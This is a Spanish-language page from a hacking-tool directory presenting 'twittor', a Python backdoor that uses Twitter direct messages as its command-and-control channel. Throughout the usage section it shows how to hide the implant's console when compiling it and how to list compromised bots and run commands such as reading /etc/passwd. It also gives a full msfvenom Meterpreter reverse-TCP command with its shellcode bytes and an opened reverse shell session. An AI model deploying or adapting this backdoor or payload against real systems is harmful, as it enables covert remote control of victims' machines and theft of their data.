Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
twittor — Un backdoor completamente funcional que utiliza Twitter como servidor C&C | Kitploit
Herramientas/GitHubGitHub/paulsec/twittor
ExplotaciónShellcodePost-ExplotaciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubpaulsec/twittor

twittor

Un backdoor completamente funcional que utiliza Twitter como servidor C&C

Ver Repositorio
806225hace 10 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Twittor

Un backdoor sigiloso basado en Python que utiliza Twitter (Mensajes Directos) como servidor de comando y control. Este proyecto ha sido inspirado por Gcat que hace lo mismo pero usando una cuenta de Gmail.

Configuración

Para que esto funcione necesitas:

  • Una cuenta de Twitter (¡Usa una cuenta dedicada! ¡No uses tu cuenta personal!)
  • Registrar una aplicación en Twitter con nivel de acceso Lectura, escritura y mensajes directos.

Instala las dependencias:

root@kitploit:~
$ pip install -r requirements.txt

Este repositorio contiene dos archivos:

  • twittor.py que es el cliente
  • implant.py el backdoor real a desplegar

En ambos archivos, edita la parte del token de acceso y añade los que generaste previamente:

root@kitploit:~
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

Probablemente querrás compilar implant.py en un ejecutable usando Pyinstaller. Para eliminar la consola al compilar con Pyinstaller, las banderas --noconsole --onefile ayudarán. Solo digo.

Uso

Para ejecutar el cliente, lanza el script.

root@kitploit:~
$ python twittor.py

Luego entrarás en un shell 'interactivo' que ofrece algunos comandos que son:

root@kitploit:~
$ help

    refresh - refrescar C&C control
    list_bots - listar bots activos
    list_commands - listar comandos ejecutados
    !retrieve <jobid> - recuperar comando jobid
    !cmd <DIRECCIÓN MAC> comando - ejecutar el comando en el bot
    !shellcode <DIRECCIÓN MAC> shellcode - cargar y ejecutar shellcode en memoria (solo Windows)
    help - mostrar esta ayuda
    exit - salir del cliente
    
$ 
  • Una vez que hayas desplegado el backdoor en varios sistemas, puedes ver los clientes disponibles usando el comando list:
root@kitploit:~
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-con-Ubuntu-14.04-precise
$

La salida es la dirección MAC que se usa para identificar de forma única el sistema pero también te da información del SO en el que se está ejecutando el implante. En ese caso, una máquina Linux.

  • Enviemos un comando a un implante:
root@kitploit:~
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Comando enviado "cat /etc/passwd" con jobid: UMW07r2
$

Aquí le estamos diciendo a B7:76:1F:0B:50:B7 que ejecute cat /etc/passwd, el script luego muestra el jobid que podemos usar para recuperar la salida de ese comando.

  • ¡Obtengamos los resultados!
root@kitploit:~
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

El comando a usar en ese caso es !retrieve seguido del jobid del comando.

  • Refrescar resultados

Para recuperar nuevos bots/salidas de comandos pero también forzar al cliente a refrescar los resultados, usa el comando refresh.

root@kitploit:~
$ refresh
[+] Enviando comando para recuperar bots vivos
[+] Durmiendo 10 segundos para esperar a los bots
$

Esto enviará una solicitud PING y esperará 10 segundos a que respondan. Luego se analizarán los mensajes directos - La lista de bots se actualizará pero también la lista de comandos, incluyendo nuevas salidas de comandos.

  • Recuperar comandos anteriores

Como dije antes, los comandos (anteriores) se recuperarán de mensajes directos más antiguos (límite de 200) y puedes recuperarlos/verlos usando el comando list_commands

root@kitploit:~
$ list_commands
8WNzapM: 'uname -a ' en 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' en 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' en 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' en 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' en 2C:4C:84:8C:D3:B1
$
  • Ejecutar shellcode (hosts Windows)

Esta opción puede ser útil para obtener una sesión de meterpreter y este artículo se vuelve realmente útil.

Genera tu shellcode de meterpreter, como:

root@kitploit:~
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Extrae el shellcode y envíalo al bot especificado usando el comando !shellcode!

root@kitploit:~
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Shellcode enviado con jobid: xdr7mtN
$

¡Y voilà!

root@kitploit:~
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

Abre una cerveza y disfruta de tu shell meterpreter reverso.

¿Contribuciones y/o preguntas?

El proyecto es completamente de código abierto y publicado bajo licencia MIT. Principalmente quería crear un PoC después de que Twitter decidiera eliminar el límite de 140 caracteres para los Mensajes Directos. Faltan algunas cosas por añadir, como el cifrado (añadir AES por encima). Los "Mensajes" usan una estructura de datos de diccionario y todo el comando solo está codificado en base64. Haz un fork del proyecto, contribuye, envía pull requests y diviértete.

Si encuentras un error, abre un issue en Github y/o contáctame en Twitter.

De nuevo, siéntete libre de revisar el increíble proyecto Gcat de byt3bl33d3r que me inspiró mucho.

Descargar herramienta